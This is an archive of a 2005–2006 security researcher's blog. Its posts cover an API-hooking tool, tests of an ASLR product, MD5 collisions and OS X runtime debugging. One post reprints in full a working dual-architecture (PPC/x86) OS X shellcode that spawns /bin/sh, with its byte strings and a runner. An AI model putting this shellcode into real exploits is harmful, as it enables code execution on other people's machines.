Saturday, July 01, 2006
Uhooker v1.1 is out!
you can download it from http://oss.coresecurity.com/projects/uhooker.htm
or directly from http://oss.coresecurity.com/uhooker/release/1.1/uhooker_v1.1.zip.
checkout the doc pages because Im constantly posting new stuff, sample scripts, etc.
http://oss.coresecurity.com/uhooker/doc/index.html
Friday, June 23, 2006
Release of the Universal Hooker
You can get more information about 'uhooker' in http://oss.coresecurity.com/projects/uhooker.htm
Basically, uhooker is a tool to intercept api calls/arbitrary addresses and then use python as the scripting language for the hook handlers. There's no need to recompile anything to hook functinos, and the hook handlers can be changed at runtime (e.g.: you can change the code of the hook handler between two different calls to te same function and everything will continue working).
Take a look at the URL I mentiond before, I spent a little more time trying to describe what uhooker does there :).
Saturday, February 18, 2006
Silly bug in gmail chat
When someone enters its gmail account, it will appear as online to others.
If that person closes the browser (not the window, the browser) without signing out from gmail first, it will remain in online state for the rest of this contacts. And from that point on, his state cannot be trusted, even if you logout the contact can appear as online.
I think adding <body onunload="signout"> can solve this.
So if you see online contacts when reading your email and you send messages to them and they do not answer, maybe they're not online :).
Saturday, January 21, 2006
Wehnus Wehntrust (Address Space Layout Randomization)
as its web site states, it is a "Host-based Instrustion Prevention System (HIPS) that
provides secure buffer overflow exploitation countermeasures." [..]
[..] "WenhTrust implements Address Space Randomization (ASLR) for Windows".
There are two versions available, one for commercial user and one for home users.
Both versions have different features:
Home version features:
- Randomized Image Files (DLLs, EXEs with relocations)
- Randomized Memory Allocations (Stack, Heap, etc)
- Randomized PEB/TEB
- Application and Image File Randomization Exemptions
- Same feature set as the home user version
- Native event logging when exploitation occurs
- Balloon tip notifications when an exploit is detected
- SEH overwrite prevention
- Format string vulnerability prevention
- Stack overflow detection
- Brute force detection and prevention
I did not have any stability problems. I did some tests
quick tests, this is not intented to be a full review of the product, just me
playing around for 2 minutes with the product:
The Randomized Memory Allocations seem to be working fine, sample program:
{
char *p;
int i;
unsigned int espvalue;
_asm { mov [espvalue], esp }
printf("esp: %X\n", espvalue);
for ( i = 0; i < 7; i++) {
p = malloc(2000);
printf("%p\n", p);
}
}
Output:
C:\tmp>test
esp: 5708FED8
572F0758
572F0758
572F0758
572F0758
572F0758
572F0758
572F0758
C:\tmp>test
esp: 372CFED8
37510758
37510758
37510758
37510758
37510758
37510758
37510758
C:\tmp>test
esp: 4151FED8
41790758
41790758
41790758
41790758
41790758
41790758
41790758
C:\tmp>test
esp: 48CDFED8
48F70758
48F70758
48F70758
48F70758
48F70758
48F70758
48F70758
C:\tmp>
This was tested on a WinXP SP2. Running the test without wehntrust shows
the same addresses on every execution (for both esp and heap address).
I did not test PEB randomization because it is already done in XP SP2 and I
didn't care much for it anyways. You can observe that how randomization
is performed is pretty clear.
To test the "Randomized Image Files (DLLs, EXEs with relocations)" feature
I wrote this simple program:
void main()
{
printf("%x\n", LoadLibrary("kernel32.dll"));
printf("%x\n", LoadLibrary("ntdll.dll"));
printf("%x\n", LoadLibrary("advapi32.dll"));
printf("%x\n", LoadLibrary("wsock32.dll"));
printf("%x\n", GetModuleHandle(NULL));
}
Output:
C:\tmp>test3
1b0a0000
1ac30000
1b230000
1ddd0000
400000
C:\tmp>test3
1b0a0000
1ac30000
1b230000
1ddd0000
400000
C:\tmp>test3
1b0a0000
1ac30000
1b230000
1ddd0000
400000
The product documentation says it only randomizes PE files with relocations, and my
PE file (as almost any regular EXE PE file) does not have relocation info, so
getting 400000 for GetModuleHandle(NULL) is expected. For the other dlls, the
address shown is in fact not the default one for the dlls, but as you can see,
the address does not change on a per execution basis.
Friday, December 16, 2005
Taking advantage of MD5 .. for real..
Well, as always, gera (aka Gerardo Richarte) did something real and useful, he created very quickly a presentation he gave at pacsec. The presentation entitled "MD5 to be considered harmful today" can be found here.
It is a very cool presentation, the slides are not very descriptive if you are not familiar with
md5 and the issue in question (they're only slides after all, not a paper), but he did a lot of cool
things to understand and reproduce (most things he did I did not get :)) what the publicated paper with the new attack was actually saying; the paper was only a page long and only contained a table with some collisions and a very brief explanation.
He did something even better; he created a lot of collisions. For example, he created TWO EXECUTABLE FILES THAT HAVE THE SAME MD5 HASH BUT ARE TOTALLY DIFFERENT APPLICATIONS, that's useful, I say!.
You can take a look at the files here:
Tuesday, December 13, 2005
Attack Trees are .. mm.. fun...
Wednesday, November 16, 2005
OSX - multi arch shellcode
Note that more than a 'multi arch' shellcode, these are two different shellcodes, which one is executed is decided by the interpretation of the first bytes "\x5f\x90\xeb\x48" by the different processors as explained by the author below.
The link is in insecure.org mailing list archives, so just in case, here's the shellcode:
--------------------// CODE //--------------------
/*
* -[ dual.c ]-
* by nemo_at_felinemenace.org
*
* execve("/bin/sh",{"/bin/sh",NULL},NULL) shellcode
* for osx (both the ppc and x86 version.)
*
* Sample output:
*
* -[nemo_at_squee:~/shellcode]$ file dual-ppc
* dual-ppc: Mach-O executable ppc
* -[nemo_at_squee:~/shellcode]$ ./dual-ppc
* sh-2.05b$ exit
*
* -[nemo_at_squee:~/shellcode]$ file dual-x86
* dual-x86: Mach-O executable i386
* -[nemo_at_squee:~/shellcode]$ ./dual-x86
* sh-2.05b$ exit
*/
char dual[] =
//
// These four bytes work out to the following instruction
// in ppc arch: "rlwnm r16,r28,r29,13,4", which will
// basically do nothing on osx/ppc.
//
// However on x86 architecture the four bytes are 3
// instructions:
//
// "push/nop/jmp"
//
// In this way, execution will be taken to the x86 shellcode
// on an x86 machine, and the ppc shellcode when running
// on a ppc architecture machine.
//
"\x5f\x90\xeb\x48"
// ppc execve() code by b-r00t
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd"
"\x7d\x68\x02\xa6\x3b\xeb\x01\x70"
"\x39\x40\x01\x70\x39\x1f\xfe\xcf"
"\x7c\xa8\x29\xae\x38\x7f\xfe\xc8"
"\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x38\x81\xff\xf8\x38\x0a\xfe\xcb"
"\x44\xff\xff\x02\x7c\xa3\x2b\x78"
"\x38\x0a\xfe\x91\x44\xff\xff\x02"
"\x2f\x62\x69\x6e\x2f\x73\x68\x58"
// osx86 execve() code by nemo
"\x31\xdb\x6a\x3b\x58\x53\xeb\x18\x5f"
"\x57\x53\x54\x54\x57\x6a\xff\x88\x5f"
"\x07\x89\x5f\xf5\x88\x5f\xfa\x9a\xff"
"\xff\xff\xff\x2b\xff\xe8\xe3\xff\xff"
"\xff/bin/shX";
int main(int ac, char **av)
{
void (*fp)() = dual;
fp();
}
Tuesday, November 08, 2005
NSA guide to secure OSX 10.3
Sunday, November 06, 2005
Observe OSX programs behavior using environment variables
LaunchingDebug
OBJC_PRINT_BIND
OBJC_DUMP_CLASSES
The information dumped by the objective-c runtime when these variables are set can be very handy, specially when analyzing programs for which you don't have the source code.
The source code that uses these environment variables to dump the information can be found at http://darwinsource.opendarwin.org/10.3.7/objc4-237/runtime/objc-runtime.m
the function objc_setConfiguration() obtains the values of 'LaunchingDebug' and 'OBJC_PRINT_BIND':
[..]
static void objc_setConfiguration() {
if ( LaunchingDebug == -1 ) {
// watch image loading and binding
LaunchingDebug = getenv("LaunchingDebug") != NULL;
}
if ( PrintBinding == -1 ) {
PrintBinding = getenv("OBJC_PRINT_BIND") != NULL;
}
}
[..]
the function objc_map_image obtains the value of 'OBJC_DUMP_CLASSES' :
[..]
static void _objc_map_image(headerType *mh, unsigned long vmaddr_slide)
{
static int dumpClasses = -1;
[..]
if ( dumpClasses == -1 ) {
if ( getenv("OBJC_DUMP_CLASSES") ) dumpClasses = 1;
else dumpClasses = 0;
}
[..]
Next is a list of the functions that use each environment variable:
OBJC_PRINT_BIND
+ _objc_map_image
+ _objc_bindModuleContainingCategory
+ _objc_bindModuleContainingClass
LaunchingDebug
+ _objc_map_image
OBJC_DUMP_CLASSES
+ _objc_map_image
OBJC_PRINT_BIND as the name implies, prints log information about categories and classes that
are binded by the objective-c runtime.
LaunchingDebug logs information about 'modules' loaded.
OBJC_DUMP_CLASSES logs.. mm. yes, classes.
sample output of OBJC_PRINT_BIND when running iMovie

The list of classes and categories logged can be very useful to know what is that the program is doing.
Apart from looking at the classes while the program is loading, you can associate an action in the program to the classes/categories used when that action is performed.
For example,
+ open a Terminal window
+ set the OBJC_PRINT_BIND function variable (e.g.: export OBJC_PRINT_BIND = 1)
+ run iMovie (found at /Applications/iMovie.app/Contents/MacOS/)
+ Once iMovie is loaded, click on the 'File' menu item, and you'll see the following in the Terminal window
objc: binding class NSPortNameServer
objc: binding class NSMachBootstrapServer
objc: binding class %NSMachPort
objc: binding class NSMachPort
objc: binding class NSDistributedObjectsStatistics
objc: binding class NSDistantObject
objc: binding class NSPortCoder
objc: binding class NSConcretePortCoder
objc: binding class NSDOStreamData
objc: binding class NSPortMessage
objc: binding category NSPortMessage(NSPortMessageMachPortAdditions)
objc: binding class NSServicesMenuHandler
These are the classes/categories that were bind when you clicked on the 'File' menu item, what can
give you a hint about what the program is doing. Remember that what is logged are the classes/categories that were bind when you click the menu item, meaning that the classes/categories that
were bind before will not be shown now, so the list of classes/categories listed is NOT the whole list of
classes/categories used by the code responding to the activation of the 'File' menu item. For the same reason, if you click on the 'File' menu item again, no information will be logged.
sample output of LaunchingDebug when running iMovie

LaunchingDebug shows the modules/images loaded.
sample output of OBJC_DUMP_CLASSES when running iMovie

I don't know exactly what it means, but I guess that is the list of Classes implemented by the loaded module. If this is the case, this information is not that useful. I'll have check this in the future and update this posting.
There are also a bunch of other environment variables that are very interesting. I'll post information
about them in the near future.
Friday, November 04, 2005
MS SQL Server 2000 Won't bind to TCP/IP ports

I spent like an hour today trying to figure out why the MSSQL server I installed was not binding to the tcp/ip ports. After a while, browsing thru the thousands of events created by MSSQL server (and other apps) on the Event Log, I found that the TCP/IP ports were closed because WinXP (or whatever) detected that the installed version of MSSQL server was a vulnerable version that required patching.
Its nice to see these 'protection mechanism', but I would REALLY REALLY REALLY like to have a more visual/direct indication of whats going on. See the screenshot of the event log record, observe that the Event is of type 'Information' what doesn't help to identify it when you are browsing thru a zillion events.
Thursday, November 03, 2005
IDA Plugin Writing Tutorial
Ida Plugin Writing Tutorial
A little tiny survey at SANS
http://survey.sans.org/phpsurveyor/index.php?sid=1
I had to try.. take a look at this survey: :)
Teeny Tiny Test
A couple of good articles on OS X internals
Sample on how to crack a PPC app.
OSX Heap Explotation Techniques
Nice description of the heap.